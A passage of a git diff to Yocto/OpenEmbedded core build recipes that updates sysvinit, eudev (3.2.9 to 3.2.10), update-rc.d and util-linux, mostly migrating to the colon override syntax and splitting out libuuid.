+S = "${WORKDIR}/sysvinit-${PV}"
+
+inherit update-alternatives features_check
+DEPENDS:append = " update-rc.d-native base-passwd virtual/crypt"
+do_package_setscene[depends] = "${MLPREFIX}base-passwd:do_populate_sysroot"
+
+PACKAGECONFIG[psplash-text-updates] = ",,"
+
+REQUIRED_DISTRO_FEATURES = "sysvinit"
+
+ALTERNATIVE:${PN} = "init mountpoint halt reboot runlevel shutdown poweroff last lastb mesg utmpdump wall"
+
+ALTERNATIVE_PRIORITY = "200"
+
+ALTERNATIVE_LINK_NAME[init] = "${base_sbindir}/init"
+ALTERNATIVE_PRIORITY[init] = "50"
+
+ALTERNATIVE_LINK_NAME[mountpoint] = "${base_bindir}/mountpoint"
+ALTERNATIVE_PRIORITY[mountpoint] = "20"
+
+ALTERNATIVE_LINK_NAME[halt] = "${base_sbindir}/halt"
+ALTERNATIVE_LINK_NAME[reboot] = "${base_sbindir}/reboot"
+ALTERNATIVE_LINK_NAME[runlevel] = "${base_sbindir}/runlevel"
+ALTERNATIVE_LINK_NAME[shutdown] = "${base_sbindir}/shutdown"
+ALTERNATIVE_LINK_NAME[poweroff] = "${base_sbindir}/poweroff"
+
+ALTERNATIVE:${PN}-pidof = "pidof"
+ALTERNATIVE_LINK_NAME[pidof] = "${base_bindir}/pidof"
+
+ALTERNATIVE:${PN}-sulogin = "sulogin"
+ALTERNATIVE_LINK_NAME[sulogin] = "${base_sbindir}/sulogin"
+
+ALTERNATIVE:${PN}-doc = "mountpoint.1 last.1 lastb.1 mesg.1 wall.1 sulogin.8 utmpdump.1"
+
+ALTERNATIVE_LINK_NAME[last.1] = "${mandir}/man1/last.1"
+ALTERNATIVE_LINK_NAME[lastb.1] = "${mandir}/man1/lastb.1"
+ALTERNATIVE_LINK_NAME[mesg.1] = "${mandir}/man1/mesg.1"
+ALTERNATIVE_LINK_NAME[mountpoint.1] = "${mandir}/man1/mountpoint.1"
+ALTERNATIVE_LINK_NAME[sulogin.8] = "${mandir}/man8/sulogin.8"
+ALTERNATIVE_LINK_NAME[utmpdump.1] = "${mandir}/man1/utmpdump.1"
+ALTERNATIVE_LINK_NAME[wall.1] = "${mandir}/man1/wall.1"
+
+PACKAGES =+ "sysvinit-pidof sysvinit-sulogin"
+FILES:${PN} += "${base_sbindir}/* ${base_bindir}/*"
+FILES:sysvinit-pidof = "${base_bindir}/pidof.sysvinit ${base_sbindir}/killall5"
+FILES:sysvinit-sulogin = "${base_sbindir}/sulogin.sysvinit"
+
+RDEPENDS:${PN} += "sysvinit-pidof initd-functions base-passwd"
+
+CFLAGS:prepend = "-D_GNU_SOURCE "
+export LCRYPT = "-lcrypt"
+EXTRA_OEMAKE += "'base_bindir=${base_bindir}' \
+ 'base_sbindir=${base_sbindir}' \
+ 'bindir=${bindir}' \
+ 'sbindir=${sbindir}' \
+ 'sysconfdir=${sysconfdir}' \
+ 'includedir=${includedir}' \
+ 'mandir=${mandir}' \
+ MNTPOINT=yes"
+
+do_install () {
+ oe_runmake 'ROOT=${D}' install
+
+ install -d ${D}${sysconfdir} \
+ ${D}${sysconfdir}/default \
+ ${D}${sysconfdir}/init.d
+ for level in S 0 1 2 3 4 5 6; do
+ install -d ${D}${sysconfdir}/rc$level.d
+ done
+
+ sed -e \
+ 's:#PSPLASH_TEXT#:${@bb.utils.contains("PACKAGECONFIG","psplash-text-updates","yes","no", d)}:g' \
+ ${WORKDIR}/rcS-default > ${D}${sysconfdir}/default/rcS
+ chmod 0644 ${D}${sysconfdir}/default/rcS
+ install -m 0755 ${WORKDIR}/rc ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/rcS ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/bootlogd.init ${D}${sysconfdir}/init.d/bootlogd
+ ln -sf bootlogd ${D}${sysconfdir}/init.d/stop-bootlogd
+
+ update-rc.d -r ${D} bootlogd start 07 S .
+ update-rc.d -r ${D} stop-bootlogd start 99 2 3 4 5 .
+
+ install -d ${D}${sysconfdir}/default/volatiles
+ install -m 0644 ${WORKDIR}/01_bootlogd ${D}${sysconfdir}/default/volatiles
+
+ chown root:shutdown ${D}${base_sbindir}/halt ${D}${base_sbindir}/shutdown
+ chmod o-x,u+s ${D}${base_sbindir}/halt ${D}${base_sbindir}/shutdown
+
+ # Already provided by e2fsprogs; sysvinit's version is a copy from there
+ rm ${D}${base_sbindir}/logsave
+ rm ${D}${mandir}/man8/logsave.8
+}
diff --git a/meta/recipes-core/udev/eudev/permissions.rules b/meta/recipes-core/udev/eudev/permissions.rules
index 205b733292..bfdff4f8ce 100644
--- a/meta/recipes-core/udev/eudev/permissions.rules
+++ b/meta/recipes-core/udev/eudev/permissions.rules
@@ -10,9 +10,9 @@ SUBSYSTEM=="net", WAIT_FOR_SYSFS="address"
SUBSYSTEM=="net", ENV{DRIVER}=="?*", WAIT_FOR_SYSFS="device/driver"
# devices needed to load the drivers providing them
-KERNEL=="tun", OPTIONS+="ignore_remove"
-KERNEL=="ppp", OPTIONS+="ignore_remove"
-KERNEL=="loop[0-9]*", OPTIONS+="ignore_remove"
+KERNEL=="tun", OPTIONS+="ignore:remove"
+KERNEL=="ppp", OPTIONS+="ignore:remove"
+KERNEL=="loop[0-9]*", OPTIONS+="ignore:remove"
# default permissions for block devices
SUBSYSTEM=="block", GROUP="disk"
diff --git a/meta/recipes-core/udev/eudev_3.2.10.bb b/meta/recipes-core/udev/eudev_3.2.10.bb
new file mode 100644
index 0000000000..347495cbdb
--- /dev/null
+++ b/meta/recipes-core/udev/eudev_3.2.10.bb
@@ -0,0 +1,97 @@
+SUMMARY = "eudev is a fork of systemd's udev"
+HOMEPAGE = "https://wiki.gentoo.org/wiki/Eudev"
+DESCRIPTION = "eudev is Gentoo's fork of udev, systemd's device file manager for the Linux kernel. It manages device nodes in /dev and handles all user space actions when adding or removing devices."
+LICENSE = "GPLv2.0+ & LGPL-2.1+"
+LICENSE:libudev = "LGPL-2.1+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+DEPENDS = "glib-2.0 glib-2.0-native gperf-native kmod libxslt-native util-linux"
+
+PROVIDES = "udev"
+
+SRC_URI = "https://dev.gentoo.org/~blueness/${BPN}/${BP}.tar.gz \
+ file://0014-Revert-rules-remove-firmware-loading-rules.patch \
+ file://Revert-udev-remove-userspace-firmware-loading-suppor.patch \
+ file://devfs-udev.rules \
+ file://init \
+ file://links.conf \
+ file://local.rules \
+ file://permissions.rules \
+ file://run.rules \
+ file://udev.rules \
+"
+
+SRC_URI[md5sum] = "60b135a189523f333cea5f71a3345c8d"
+SRC_URI[sha256sum] = "87bb028d470fd1b85169349b44c55d5b733733dc2d50ddf1196e026725ead034"
+
+inherit autotools update-rc.d qemu pkgconfig features_check
+
+CONFLICT_DISTRO_FEATURES = "systemd"
+
+EXTRA_OECONF = " \
+ --sbindir=${base_sbindir} \
+ --with-rootlibdir=${base_libdir} \
+ --with-rootlibexecdir=${nonarch_base_libdir}/udev \
+ --with-rootprefix= \
+"
+
+PACKAGECONFIG ??= "hwdb"
+PACKAGECONFIG[hwdb] = "--enable-hwdb,--disable-hwdb"
+
+do_install:append() {
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/udev
+ sed -i s%@UDEVD@%${base_sbindir}/udevd% ${D}${sysconfdir}/init.d/udev
+
+ install -d ${D}${sysconfdir}/udev/rules.d
+ install -m 0644 ${WORKDIR}/local.rules ${D}${sysconfdir}/udev/rules.d/local.rules
+
+ # Use classic network interface naming scheme
+ touch ${D}${sysconfdir}/udev/rules.d/80-net-name-slot.rules
+
+ # hid2hci has moved to bluez4. removed in udev as of version 169
+ rm -f ${D}${base_libdir}/udev/hid2hci
+
+ # duplicate udevadm for postinst script
+ install -d ${D}${libexecdir}
+ ln ${D}${bindir}/udevadm ${D}${libexecdir}/${MLPREFIX}udevadm
+}
+
+do_install:prepend:class-target () {
+ # Remove references to buildmachine
+ sed -i -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ ${B}/src/udev/keyboard-keys-from-name.h
+}
+
+INITSCRIPT_NAME = "udev"
+INITSCRIPT_PARAMS = "start 04 S ."
+
+PACKAGES =+ "libudev"
+PACKAGES =+ "eudev-hwdb"
+
+
+FILES:${PN} += "${libexecdir} ${nonarch_base_libdir}/udev ${bindir}/udevadm"
+FILES:${PN}-dev = "${datadir}/pkgconfig/udev.pc \
+ ${includedir}/libudev.h ${libdir}/libudev.so \
+ ${includedir}/udev.h ${libdir}/libudev.la \
+ ${libdir}/libudev.a ${libdir}/pkgconfig/libudev.pc"
+FILES:libudev = "${base_libdir}/libudev.so.*"
+FILES:eudev-hwdb = "${sysconfdir}/udev/hwdb.d"
+
+RDEPENDS:eudev-hwdb += "eudev"
+
+RPROVIDES:${PN} = "hotplug udev"
+RPROVIDES:eudev-hwdb += "udev-hwdb"
+
+PACKAGE_WRITE_DEPS += "qemu-native"
+pkg_postinst:eudev-hwdb () {
+ if test -n "$D"; then
+ $INTERCEPT_DIR/postinst_intercept update_udev_hwdb ${PKG} mlprefix=${MLPREFIX} binprefix=${MLPREFIX}
+ else
+ udevadm hwdb --update
+ fi
+}
+
+pkg_prerm:eudev-hwdb () {
+ rm -f $D${sysconfdir}/udev/hwdb.bin
+}
diff --git a/meta/recipes-core/udev/eudev_3.2.9.bb b/meta/recipes-core/udev/eudev_3.2.9.bb
deleted file mode 100644
index f96f8cbe78..0000000000
--- a/meta/recipes-core/udev/eudev_3.2.9.bb
+++ /dev/null
@@ -1,96 +0,0 @@
-SUMMARY = "eudev is a fork of systemd's udev"
-HOMEPAGE = "https://wiki.gentoo.org/wiki/Eudev"
-LICENSE = "GPLv2.0+ & LGPL-2.1+"
-LICENSE_libudev = "LGPL-2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-DEPENDS = "glib-2.0 glib-2.0-native gperf-native kmod libxslt-native util-linux"
-
-PROVIDES = "udev"
-
-SRC_URI = "https://dev.gentoo.org/~blueness/${BPN}/${BP}.tar.gz \
- file://0014-Revert-rules-remove-firmware-loading-rules.patch \
- file://Revert-udev-remove-userspace-firmware-loading-suppor.patch \
- file://devfs-udev.rules \
- file://init \
- file://links.conf \
- file://local.rules \
- file://permissions.rules \
- file://run.rules \
- file://udev.rules \
-"
-
-SRC_URI[md5sum] = "dedfb1964f6098fe9320de827957331f"
-SRC_URI[sha256sum] = "89618619084a19e1451d373c43f141b469c9fd09767973d73dd268b92074d4fc"
-
-inherit autotools update-rc.d qemu pkgconfig features_check
-
-CONFLICT_DISTRO_FEATURES = "systemd"
-
-EXTRA_OECONF = " \
- --sbindir=${base_sbindir} \
- --with-rootlibdir=${base_libdir} \
- --with-rootlibexecdir=${nonarch_base_libdir}/udev \
- --with-rootprefix= \
-"
-
-PACKAGECONFIG ??= "hwdb"
-PACKAGECONFIG[hwdb] = "--enable-hwdb,--disable-hwdb"
-
-do_install_append() {
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/udev
- sed -i s%@UDEVD@%${base_sbindir}/udevd% ${D}${sysconfdir}/init.d/udev
-
- install -d ${D}${sysconfdir}/udev/rules.d
- install -m 0644 ${WORKDIR}/local.rules ${D}${sysconfdir}/udev/rules.d/local.rules
-
- # Use classic network interface naming scheme
- touch ${D}${sysconfdir}/udev/rules.d/80-net-name-slot.rules
-
- # hid2hci has moved to bluez4. removed in udev as of version 169
- rm -f ${D}${base_libdir}/udev/hid2hci
-
- # duplicate udevadm for postinst script
- install -d ${D}${libexecdir}
- ln ${D}${bindir}/udevadm ${D}${libexecdir}/${MLPREFIX}udevadm
-}
-
-do_install_prepend_class-target () {
- # Remove references to buildmachine
- sed -i -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- ${B}/src/udev/keyboard-keys-from-name.h
-}
-
-INITSCRIPT_NAME = "udev"
-INITSCRIPT_PARAMS = "start 04 S ."
-
-PACKAGES =+ "libudev"
-PACKAGES =+ "eudev-hwdb"
-
-
-FILES_${PN} += "${libexecdir} ${nonarch_base_libdir}/udev ${bindir}/udevadm"
-FILES_${PN}-dev = "${datadir}/pkgconfig/udev.pc \
- ${includedir}/libudev.h ${libdir}/libudev.so \
- ${includedir}/udev.h ${libdir}/libudev.la \
- ${libdir}/libudev.a ${libdir}/pkgconfig/libudev.pc"
-FILES_libudev = "${base_libdir}/libudev.so.*"
-FILES_eudev-hwdb = "${sysconfdir}/udev/hwdb.d"
-
-RDEPENDS_eudev-hwdb += "eudev"
-
-RPROVIDES_${PN} = "hotplug udev"
-RPROVIDES_eudev-hwdb += "udev-hwdb"
-
-PACKAGE_WRITE_DEPS += "qemu-native"
-pkg_postinst_eudev-hwdb () {
- if test -n "$D"; then
- $INTERCEPT_DIR/postinst_intercept update_udev_hwdb ${PKG} mlprefix=${MLPREFIX} binprefix=${MLPREFIX}
- else
- udevadm hwdb --update
- fi
-}
-
-pkg_prerm_eudev-hwdb () {
- rm -f $D${sysconfdir}/udev/hwdb.bin
-}
diff --git a/meta/recipes-core/udev/udev-extraconf_1.1.bb b/meta/recipes-core/udev/udev-extraconf_1.1.bb
index 90f933d981..2ba35b0df6 100644
--- a/meta/recipes-core/udev/udev-extraconf_1.1.bb
+++ b/meta/recipes-core/udev/udev-extraconf_1.1.bb
@@ -35,11 +35,11 @@ do_install() {
install -m 0755 ${WORKDIR}/network.sh ${D}${sysconfdir}/udev/scripts
}
-FILES_${PN} = "${sysconfdir}/udev"
-RDEPENDS_${PN} = "udev"
-CONFFILES_${PN} = "${sysconfdir}/udev/mount.blacklist"
+FILES:${PN} = "${sysconfdir}/udev"
+RDEPENDS:${PN} = "udev"
+CONFFILES:${PN} = "${sysconfdir}/udev/mount.blacklist"
# to replace udev-extra-rules from meta-oe
-RPROVIDES_${PN} = "udev-extra-rules"
-RREPLACES_${PN} = "udev-extra-rules"
-RCONFLICTS_${PN} = "udev-extra-rules"
+RPROVIDES:${PN} = "udev-extra-rules"
+RREPLACES:${PN} = "udev-extra-rules"
+RCONFLICTS:${PN} = "udev-extra-rules"
diff --git a/meta/recipes-core/update-rc.d/update-rc.d_0.8.bb b/meta/recipes-core/update-rc.d/update-rc.d_0.8.bb
index 75632d9434..daee5c224b 100644
--- a/meta/recipes-core/update-rc.d/update-rc.d_0.8.bb
+++ b/meta/recipes-core/update-rc.d/update-rc.d_0.8.bb
@@ -6,8 +6,8 @@ SECTION = "base"
LICENSE = "GPLv2+"
LIC_FILES_CHKSUM = "file://update-rc.d;beginline=5;endline=15;md5=d40a07c27f535425934bb5001f2037d9"
-SRC_URI = "git://git.yoctoproject.org/update-rc.d"
-SRCREV = "4b150b25b38de688d25cde2b2d22c268ed65a748"
+SRC_URI = "git://git.yoctoproject.org/update-rc.d;branch=master"
+SRCREV = "8636cf478d426b568c1be11dbd9346f67e03adac"
UPSTREAM_CHECK_COMMITS = "1"
diff --git a/meta/recipes-core/util-linux/util-linux-libuuid_2.37.2.bb b/meta/recipes-core/util-linux/util-linux-libuuid_2.37.2.bb
new file mode 100644
index 0000000000..5d759aed94
--- /dev/null
+++ b/meta/recipes-core/util-linux/util-linux-libuuid_2.37.2.bb
@@ -0,0 +1,16 @@
+# To allow util-linux to optionally build-depend on cryptsetup, libuuid is
+# split out of the main recipe, as it's needed by cryptsetup
+
+require util-linux.inc
+
+inherit autotools gettext pkgconfig
+
+S = "${WORKDIR}/util-linux-${PV}"
+EXTRA_OECONF += "--disable-all-programs --enable-libuuid"
+LICENSE = "BSD-3-Clause"
+
+do_install:append() {
+ rm -rf ${D}${datadir} ${D}${bindir} ${D}${base_bindir} ${D}${sbindir} ${D}${base_sbindir} ${D}${exec_prefix}/sbin
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/util-linux/util-linux.inc b/meta/recipes-core/util-linux/util-linux.inc
new file mode 100644
index 0000000000..1e3cd28801
--- /dev/null
+++ b/meta/recipes-core/util-linux/util-linux.inc
@@ -0,0 +1,40 @@
+SUMMARY = "A suite of basic system administration utilities"
+HOMEPAGE = "https://en.wikipedia.org/wiki/Util-linux"
+DESCRIPTION = "Util-linux includes a suite of basic system administration utilities \
+commonly found on most Linux systems. Some of the more important utilities include \
+disk partitioning, kernel message management, filesystem creation, and system login."
+
+SECTION = "base"
+
+LICENSE = "GPLv2+ & LGPLv2.1+ & BSD-3-Clause & BSD-4-Clause"
+LICENSE:${PN}-libblkid = "LGPLv2.1+"
+LICENSE:${PN}-libfdisk = "LGPLv2.1+"
+LICENSE:${PN}-libmount = "LGPLv2.1+"
+LICENSE:${PN}-libsmartcols = "LGPLv2.1+"
+
+LIC_FILES_CHKSUM = "file://README.licensing;md5=0fd5c050c6187d2bf0a4492b7f4e33da \
+ file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://Documentation/licenses/COPYING.GPL-2.0-or-later;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://Documentation/licenses/COPYING.LGPL-2.1-or-later;md5=4fbd65380cdd255951079008b364516c \
+ file://Documentation/licenses/COPYING.BSD-3-Clause;md5=58dcd8452651fc8b07d1f65ce07ca8af \
+ file://Documentation/licenses/COPYING.BSD-4-Clause-UC;md5=263860f8968d8bafa5392cab74285262 \
+ file://libuuid/COPYING;md5=6d2cafc999feb2c2de84d4d24b23290c \
+ file://libmount/COPYING;md5=7c7e39fb7d70ffe5d693a643e29987c2 \
+ file://libblkid/COPYING;md5=693bcbbe16d3a4a4b37bc906bc01cc04 \
+ file://libfdisk/COPYING;md5=693bcbbe16d3a4a4b37bc906bc01cc04 \
+ file://libsmartcols/COPYING;md5=693bcbbe16d3a4a4b37bc906bc01cc04 \
+"
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/util-linux:"
+MAJOR_VERSION = "${@'.'.join(d.getVar('PV').split('.')[0:2])}"
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/util-linux/v${MAJOR_VERSION}/util-linux-${PV}.tar.xz \
+ file://configure-sbindir.patch \
+ file://runuser.pamd \
+ file://runuser-l.pamd \
+ file://ptest.patch \
+ file://run-ptest \
+ file://display_testname_for_subtest.patch \
+ file://avoid_parallel_tests.patch \
+ "
+
+SRC_URI[sha256sum] = "6a0764c1aae7fb607ef8a6dd2c0f6c47d5e5fd27aa08820abaad9ec14e28e9d9"
diff --git a/meta/recipes-core/util-linux/util-linux/avoid_parallel_tests.patch b/meta/recipes-core/util-linux/util-linux/avoid_parallel_tests.patch
index 748b6ef096..f1cbdb3beb 100644
--- a/meta/recipes-core/util-linux/util-linux/avoid_parallel_tests.patch
+++ b/meta/recipes-core/util-linux/util-linux/avoid_parallel_tests.patch
@@ -1,20 +1,29 @@
+From ee3c7812e1efa6719af68b994804f0e6caceabd8 Mon Sep 17 00:00:00 2001
+From: Tudor Florea <tudor.florea@enea.com>
+Date: Mon, 14 Jun 2021 14:00:31 +0200
+Subject: [PATCH] util-linux: Add ptest
+
Ptest needs buildtest-TESTS and runtest-TESTS targets.
serial-tests is required to generate those targets.
-Revert run.sh script accordingly to serialize running tests
+Revert run.sh script accordingly to serialize running tests
Signed-off-by: Tudor Florea <tudor.florea@enea.com>
-Upstream-Status: Inappropriate
+Upstream-Status: Inappropriate
+
+---
+ configure.ac | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
-Index: util-linux-2.32/configure.ac
-===================================================================
---- util-linux-2.32.orig/configure.ac
-+++ util-linux-2.32/configure.ac
+diff --git a/configure.ac b/configure.ac
+index 5664f9f..075ef27 100644
+--- a/configure.ac
++++ b/configure.ac
@@ -11,7 +11,7 @@ AC_CONFIG_MACRO_DIR([m4])
dnl AC_USE_SYSTEM_EXTENSIONS must be called before any macros that run
- dnl the compiler (like AC_PROG_LIBTOOL) to avoid autoconf errors.
+ dnl the compiler (like LT_INIT) to avoid autoconf errors.
AC_USE_SYSTEM_EXTENSIONS
--AM_INIT_AUTOMAKE([-Wall foreign 1.10 tar-pax no-dist-gzip dist-xz subdir-objects])
-+AM_INIT_AUTOMAKE([-Wall foreign 1.10 tar-pax no-dist-gzip dist-xz subdir-objects serial-tests])
+-AM_INIT_AUTOMAKE([-Wall -Wno-portability foreign 1.10 tar-pax no-dist-gzip dist-xz subdir-objects])
++AM_INIT_AUTOMAKE([-Wall -Wno-portability foreign 1.10 tar-pax no-dist-gzip dist-xz subdir-objects serial-tests])
m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES([yes])],
[AC_SUBST([AM_DEFAULT_VERBOSITY], [1])])
diff --git a/meta/recipes-core/util-linux/util-linux/ptest.patch b/meta/recipes-core/util-linux/util-linux/ptest.patch
index 0537f7d856..ba2bd3f6ac 100644
--- a/meta/recipes-core/util-linux/util-linux/ptest.patch
+++ b/meta/recipes-core/util-linux/util-linux/ptest.patch
@@ -1,23 +1,24 @@
-Define TESTS variable
+From af073c13ef184ca75811df688e0a0a25827b36c3 Mon Sep 17 00:00:00 2001
+From: Tudor Florea <tudor.florea@enea.com>
+Date: Thu, 3 Dec 2015 04:08:00 +0100
+Subject: [PATCH] Define TESTS variable
Signed-off-by: Tudor Florea <tudor.florea@enea.com>
Upstream-Status: Pending
+
---
Makefile.am | 1 +
1 file changed, 1 insertion(+)
diff --git a/Makefile.am b/Makefile.am
-index bbaccb1..7d5a6bb 100644
+index 886598d..1cf4346 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -48,6 +48,7 @@ systemdsystemunit_DATA =
+@@ -57,6 +57,7 @@ systemdsystemunit_DATA =
dist_bashcompletion_DATA =
check_PROGRAMS =
dist_check_SCRIPTS =
+TESTS = $(check_PROGRAMS)
PATHFILES =
-
---
-2.8.3
-
+ ADOCFILES_COMMON =
diff --git a/meta/recipes-core/util-linux/util-linux/run-ptest b/meta/recipes-core/util-linux/util-linux/run-ptest
index e135ee583b..3a910be121 100644
--- a/meta/recipes-core/util-linux/util-linux/run-ptest
+++ b/meta/recipes-core/util-linux/util-linux/run-ptest
@@ -13,31 +13,12 @@ current_path=$(readlink -f $0)
export bindir=$(dirname $current_path)
export PATH=$bindir/bin:$PATH
-cd tests || exit 1
-
-comps=$(find ts/ -type f -perm -111 -regex ".*/[^\.~]*" | sort)
-
-
-echo
-echo "-------------------- util-linux regression tests --------------------"
-echo
-echo " For development purpose only. "
-echo " Don't execute on production system! "
-echo
-
-res=0
-count=0
-for ts in $comps;
-do
- $ts | sed -u '{
+./tests/run.sh --use-system-commands --parsable --show-diff | sed -u '{
s/^\(.*\):\(.*\) \.\.\. OK$/PASS: \1:\2/
s/^\(.*\):\(.*\) \.\.\. FAILED \(.*\)$/FAIL: \1:\2 \3/
s/^\(.*\):\(.*\) \.\.\. SKIPPED \(.*\)$/SKIP: \1:\2 \3/
- }'
-done
-
+ }'
if [ "x$UDEV_PID" != "x" ]; then
/etc/init.d/udev start
fi
-
diff --git a/meta/recipes-core/util-linux/util-linux_2.36.bb b/meta/recipes-core/util-linux/util-linux_2.36.bb
deleted file mode 100644
index 474f1e188c..0000000000
--- a/meta/recipes-core/util-linux/util-linux_2.36.bb
+++ /dev/null
@@ -1,359 +0,0 @@
-SUMMARY = "A suite of basic system administration utilities"
-HOMEPAGE = "https://en.wikipedia.org/wiki/Util-linux"
-DESCRIPTION = "Util-linux includes a suite of basic system administration utilities \
-commonly found on most Linux systems. Some of the more important utilities include \
-disk partitioning, kernel message management, filesystem creation, and system login."
-
-SECTION = "base"
-
-LICENSE = "GPLv2+ & LGPLv2.1+ & BSD-3-Clause & BSD-4-Clause"
-LICENSE_${PN}-libblkid = "LGPLv2.1+"
-LICENSE_${PN}-libfdisk = "LGPLv2.1+"
-LICENSE_${PN}-libmount = "LGPLv2.1+"
-LICENSE_${PN}-libsmartcols = "LGPLv2.1+"
-LICENSE_${PN}-libuuid = "BSD-3-Clause"
-
-LIC_FILES_CHKSUM = "file://README.licensing;md5=0fd5c050c6187d2bf0a4492b7f4e33da \
- file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://Documentation/licenses/COPYING.GPL-2.0-or-later;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://Documentation/licenses/COPYING.LGPL-2.1-or-later;md5=4fbd65380cdd255951079008b364516c \
- file://Documentation/licenses/COPYING.BSD-3-Clause;md5=58dcd8452651fc8b07d1f65ce07ca8af \
- file://Documentation/licenses/COPYING.BSD-4-Clause-UC;md5=263860f8968d8bafa5392cab74285262 \
- file://libuuid/COPYING;md5=6d2cafc999feb2c2de84d4d24b23290c \
- file://libmount/COPYING;md5=7c7e39fb7d70ffe5d693a643e29987c2 \
- file://libblkid/COPYING;md5=693bcbbe16d3a4a4b37bc906bc01cc04 \
- file://libfdisk/COPYING;md5=693bcbbe16d3a4a4b37bc906bc01cc04 \
- file://libsmartcols/COPYING;md5=693bcbbe16d3a4a4b37bc906bc01cc04 \
-"
-
-#gtk-doc is not enabled as it requires xmlto which requires util-linux
-inherit autotools gettext manpages pkgconfig systemd update-alternatives python3-dir bash-completion ptest
-DEPENDS = "libcap-ng ncurses virtual/crypt zlib"
-
-MAJOR_VERSION = "${@'.'.join(d.getVar('PV').split('.')[0:2])}"
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/${BPN}/v${MAJOR_VERSION}/${BP}.tar.xz \
- file://configure-sbindir.patch \
- file://runuser.pamd \
- file://runuser-l.pamd \
- file://ptest.patch \
- file://run-ptest \
- file://display_testname_for_subtest.patch \
- file://avoid_parallel_tests.patch \
- "
-SRC_URI[sha256sum] = "9e4b1c67eb13b9b67feb32ae1dc0d50e08ce9e5d82e1cccd0ee771ad2fa9e0b1"
-
-PACKAGES =+ "${PN}-swaponoff"
-PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'pylibmount', '${PN}-pylibmount', '', d)}"
-
-python util_linux_binpackages () {
- def pkg_hook(f, pkg, file_regex, output_pattern, modulename):
- pn = d.getVar('PN')
- d.appendVar('RRECOMMENDS_%s' % pn, ' %s' % pkg)
-
- if d.getVar('ALTERNATIVE_' + pkg):
- return
- if d.getVarFlag('ALTERNATIVE_LINK_NAME', modulename):
- d.setVar('ALTERNATIVE_' + pkg, modulename)
-
- bindirs = sorted(list(set(d.expand("${base_sbindir} ${base_bindir} ${sbindir} ${bindir}").split())))
- for dir in bindirs:
- do_split_packages(d, root=dir,
- file_regex=r'(.*)', output_pattern='${PN}-%s',
- description='${PN} %s',
- hook=pkg_hook, extra_depends='')
-
- # There are some symlinks for some binaries which we have ignored
- # above. Add them to the package owning the binary they are
- # pointing to
- extras = {}
- dvar = d.getVar('PKGD')
- for root in bindirs:
- for walkroot, dirs, files in os.walk(dvar + root):
- for f in files:
- file = os.path.join(walkroot, f)
- if not os.path.islink(file):
- continue
-
- pkg = os.path.basename(os.readlink(file))
- extras[pkg] = extras.get(pkg, '') + ' ' + file.replace(dvar, '', 1)
-
- pn = d.getVar('PN')
- for pkg, links in extras.items():
- of = d.getVar('FILES_' + pn + '-' + pkg)
- links = of + links
- d.setVar('FILES_' + pn + '-' + pkg, links)
-}
-
-# we must execute before update-alternatives PACKAGE_PREPROCESS_FUNCS
-PACKAGE_PREPROCESS_FUNCS =+ "util_linux_binpackages "
-
-python util_linux_libpackages() {
- do_split_packages(d, root=d.getVar('UTIL_LINUX_LIBDIR'), file_regex=r'^lib(.*)\.so\..*$',
- output_pattern='${PN}-lib%s',
- description='${PN} lib%s',
- extra_depends='', prepend=True, allow_links=True)
-}
-
-PACKAGESPLITFUNCS =+ "util_linux_libpackages"
-
-PACKAGES_DYNAMIC = "^${PN}-.*"
-
-CACHED_CONFIGUREVARS += "scanf_cv_alloc_modifier=ms"
-UTIL_LINUX_LIBDIR = "${libdir}"
-UTIL_LINUX_LIBDIR_class-target = "${base_libdir}"
-EXTRA_OECONF = "\
- --enable-libuuid --enable-libblkid \
- \
- --enable-fsck --enable-kill --enable-last --enable-mesg \
- --enable-mount --enable-partx --enable-raw --enable-rfkill \
- --enable-unshare --enable-write \
- \
- --disable-bfs --disable-chfn-chsh --disable-login \
- --disable-makeinstall-chown --disable-minix --disable-newgrp \
- --disable-use-tty-group --disable-vipw \
- \
- --without-udev \
- \
- usrsbin_execdir='${sbindir}' \
- --libdir='${UTIL_LINUX_LIBDIR}' \
-"
-
-EXTRA_OECONF_append_class-target = " --enable-setpriv"
-EXTRA_OECONF_append_class-native = " --without-cap-ng --disable-setpriv"
-EXTRA_OECONF_append_class-nativesdk = " --without-cap-ng --disable-setpriv"
-EXTRA_OECONF_append = " --disable-hwclock-gplv3"
-
-# enable pcre2 for native/nativesdk to match host distros
-# this helps to keep same expectations when using the SDK or
-# build host versions during development
-#
-PACKAGECONFIG ?= "pcre2"
-PACKAGECONFIG_class-target ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
-# inherit manpages requires this to be present, however util-linux does not have
-# configuration options, and installs manpages always
-PACKAGECONFIG[manpages] = ""
-PACKAGECONFIG[pam] = "--enable-su --enable-runuser,--disable-su --disable-runuser, libpam,"
-# Respect the systemd feature for uuidd
-PACKAGECONFIG[systemd] = "--with-systemd --with-systemdsystemunitdir=${systemd_system_unitdir}, --without-systemd --without-systemdsystemunitdir,systemd"
-# Build python bindings for libmount
-PACKAGECONFIG[pylibmount] = "--with-python=3 --enable-pylibmount,--without-python --disable-pylibmount,python3"
-# Readline support
-PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
-# PCRE support in hardlink
-PACKAGECONFIG[pcre2] = ",,libpcre2"
-
-EXTRA_OEMAKE = "ARCH=${TARGET_ARCH} CPU= CPUOPT= 'OPT=${CFLAGS}'"
-
